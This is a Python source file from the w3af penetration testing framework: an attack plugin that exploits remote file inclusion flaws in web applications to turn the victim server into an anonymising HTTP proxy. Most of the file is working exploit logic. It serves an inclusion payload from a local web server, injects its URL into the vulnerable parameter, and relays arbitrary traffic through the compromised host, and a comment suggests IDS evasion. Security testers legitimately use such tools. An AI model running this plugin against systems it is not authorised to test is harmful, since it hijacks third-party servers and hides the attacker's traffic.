''' rfiProxy.py Copyright 2006 Andres Riancho This file is part of w3af, w3af.sourceforge.net . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' from core.data.fuzzer.fuzzer import createRandAlNum # This separator is a Unique string used for parsing. RFI_SEPARATOR = createRandAlNum( 25 ) URLOPENER = None import core.controllers.outputManager as om from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin import core.data.kb.knowledgeBase as kb from core.controllers.w3afException import w3afException from core.controllers.daemons.webserver import webserver import core.data.parsers.urlParser as urlParser from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer from core.controllers.threads.w3afThread import w3afThread import time import socket, urlparse, urllib from core.controllers.threads.threadManager import threadManagerObj as tm ### TODO: I dont like globals, please see TODO below. url = '' exploitData = '' rfiConnGenerator = '' class rfiProxy(baseAttackPlugin, w3afThread): ''' This plugin exploits remote file inclusions to create a proxy server. @author: Andres Riancho ( andres.riancho@gmail.com ) ''' def __init__( self ): baseAttackPlugin.__init__(self) w3afThread.__init__( self ) self._listenAddress = '127.0.0.1' self._proxyPort = 8000 self._rfiConnGenerator = '' self._httpdPort = 8001 self._proxy = None self._wS = None self._go = True self._url = None self._method = None self._exploitQs = None self._proxyPublicIP = None def fastExploit(self, url, method, data ): ''' Exploits a web app with osCommanding vuln. @parameter url: A string containing the Url to exploit ( http://somehost.com/foo.php ) @parameter method: A string containing the method to send the data ( post / get ) @parameter data: A string containing data to send with a mark that defines which is the vulnerable parameter ( aa=notMe&bb=almost&cc=[VULNERABLE] ) ''' pass return self._shell def getType(self): return 'proxy' def canExploit(self ): ''' Searches the kb for vulnerabilities that the plugin can exploit. @return: True if plugin knows how to exploit a found vuln. ''' rfiVulns = kb.kb.getData( 'remoteFileInclude' , 'rfi' ) if len( rfiVulns ) == 0: return False else: return True def exploit(self ): ''' Exploits a rfiVulns that were found and stored in the kb. @return: True if the shell is working and the user can start using the proxy. ''' om.out.information( 'rfiProxy exploit plugin is starting.' ) rfiVulns = kb.kb.getData( 'remoteFileInclude' , 'rfi' ) if len( rfiVulns ) == 0: raise w3afException('No remote file inclusion vulnerabilities have been found.') for vuln in rfiVulns: # Try to get a shell using all vuln if self._generateProxy(vuln): # A proxy was generated. return True return False def _generateProxy( self, vuln ): ''' @parameter vuln: The vuln to exploit. @return: True if the user can start using the proxy. ''' # Set proxy parameters self._url = urlParser.uri2url( vuln.getURL() ) self._method = vuln.getMethod() self._exploitData = vuln.getDc() self._variable = vuln.getVar() self.start2() time.sleep(0.5) # wait for webserver thread to start return True def stop(self): if self._running: if self._wS != None: self._wS.stop() self._proxy.server_close() self._go = False s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((self._listenAddress, self._proxyPort)) s.close() except: pass self._running = False def rexec( self, command ): ''' The only command available is stop, it will stop the web and proxy server. ''' if command != 'stop' and command != 'exit': message = 'Available commands:\n' message += 'stop Terminate the proxy and web server processes used in this exploit.\n' message += 'exit Return to previous menu, proxy will continue to work.\n' return message elif command == 'stop': if not self._running: message = 'No processes running.' else: self.stop() message = 'Stopping processes.' return message elif command == 'exit': if self._running: message = 'Proxy will keep running in background.' else: message = '' return message def run(self): ''' Starts the http server that will become a proxy. ''' if self._rfiConnGenerator == '': # If user failed to configure self._rfiConnGenerator we will run a webserver # and configure the _rfiConnGenerator attr for him if self._wS == None: om.out.information( 'Running a local httpd to serve the RFI connection generator to remote web app.' ) self._wS = webserver( self._proxyPublicIP, self._httpdPort , 'webroot/') self._wS.start2() self._rfiConnGenerator = 'http://' + self._proxyPublicIP + ':' + str(self._httpdPort) + '/rfip.txt' ### TODO: I really dislike this, if someone knows how to send variables to ### w3afProxyHandler in a nicer way, please contact me ( andres.riancho@gmail.com ) global url global exploitData global variable global rfiConnGenerator url = self._url exploitData = self._exploitData rfiConnGenerator = self._rfiConnGenerator variable = self._variable self._proxy = HTTPServer((self._listenAddress, self._proxyPort ), w3afProxyHandler ) message = 'Proxy server running on '+ self._listenAddress + ':'+ str(self._proxyPort) +' .' message += ' You may now configure this proxy in w3af or your browser. ' om.out.information( message ) self._running = True while self._go: try: self._proxy.handle_request() except: self._proxy.server_close() def getOptionsXML(self): ''' This method returns a XML containing the Options that the plugin has. Using this XML the framework will build a window, a menu, or some other input method to retrieve the info from the user. The XML has to validate against the xml schema file located at : w3af/core/ui/userInterface.dtd @return: XML with the plugin options. ''' return '\ \ \ \ \ \ \ \ ' def getRootProbability( self ): ''' @return: This method returns the probability of getting a root shell using this attack plugin. This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones. This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS return a root shell. ''' return 0.0 def setOptions( self, optionsMap ): ''' This method sets all the options that are configured using the user interface generated by the framework using the result of getOptionsXML(). @parameter optionsMap: A dictionary with the options for the plugin. @return: No value is returned. ''' self._listenAddress = optionsMap['listenAddress'] self._proxyPort = optionsMap['proxyPort'] self._httpdPort = optionsMap['httpdPort'] self._proxyPublicIP = optionsMap['proxyPublicIP'] self._rfiConnGenerator = optionsMap['rfiConnGenerator'] def setUrlOpener( self, urlOpener): ''' This method should not be overwritten by any plugin (but you are free to do it, for example a good idea is to rewrite this method to change the UrlOpener to do some IDS evasion technic). This method takes a CustomUrllib object as parameter and assigns it to itself. Then, on the testUrl method you use self.CustomUrlOpener._custom_urlopen(...) to open a Url and you are sure that the plugin is using the user supplied settings (proxy, user agent, etc). @return: No value is returned. ''' global URLOPENER URLOPENER = urlOpener class w3afProxyHandler(BaseHTTPRequestHandler): def _work( self, host, port, send, proxyClientConnection ): postDataDict = {} postDataDict['rfipsend'] = send postDataDict['rfihost'] = host postDataDict['rfiport'] = port postDataDict['rfipsep'] = RFI_SEPARATOR postdata = urllib.urlencode( postDataDict ) QueryStringDict = exploitData QueryStringDict[ variable ] = rfiConnGenerator qs = str( QueryStringDict ) completeUrl = url + '?' + qs #req = urllib2.Request( completeUrl , postdata ) try: response = URLOPENER.POST( completeUrl, postdata ) #response = urllib2.urlopen( req ) except Exception, e: proxyClientConnection.close() om.out.error( 'Oops! Error when proxy tried to open remote site: ' + str(e) ) else: page = response.getBody() theStart = page.find( RFI_SEPARATOR ) theEnd = page.rfind( RFI_SEPARATOR ) page = page[ theStart + len(RFI_SEPARATOR): theEnd ] page = page[ page.find('HTTP'):] proxyClientConnection.send( page ) proxyClientConnection.close() def __init__( self, a, b, c): self._tm = tm BaseHTTPRequestHandler.__init__( self, a, b, c ) def handle_one_request(self): """ Handle a single HTTP request. """ self.raw_requestline = self.rfile.readline() if not self.raw_requestline: self.close_connection = 1 return if not self.parse_request(): # An error code has been sent, just exit return words = self.raw_requestline.split('\n')[0].split() if len( words ) == 3: command, url, version = words (scm, netloc, path, params, query, fragment) = urlparse.urlparse(url) if scm != 'http': self.send_error(501, 'Remote file inclusion proxy has no https support. Contribute here') else: splitNetloc = netloc.split(':') port = 80 if len( splitNetloc ) == 2: port = splitNetloc[1] host = splitNetloc[0] else: return del self.headers['Proxy-Connection'] del self.headers['keep-alive'] self.headers['connection'] = 'close' raw_request = self.raw_requestline for header in self.headers.keys(): raw_request += header+': ' raw_request += self.headers.getheader(header) raw_request += '\r\n' try: length = int(self.headers.getheader('content-length')) except: pass else: raw_request += '\r\n\r\n' raw_request += self.rfile.read(length) raw_request += '\r\n\r\n' proxyClientConnection = self.connection #targs = ( host, port, raw_request, proxyClientConnection ) #self._tm.startFunction( target=self._work, args=targs, ownerObj=self ) self._work( host, port, raw_request, proxyClientConnection ) def getLongDesc( self ): ''' @return: A DETAILED description of the plugin functions and features. ''' return ''' This plugin exploits remote file inclusion vulnerabilities and returns a HTTP proxy. The proxy will use the remote file inclusion bug to navigate the web in an anonymous way. Six configurable parameters exist: - listenAddress - listenPort - httpdPort - proxyPublicIP - rfiConnGenerator '''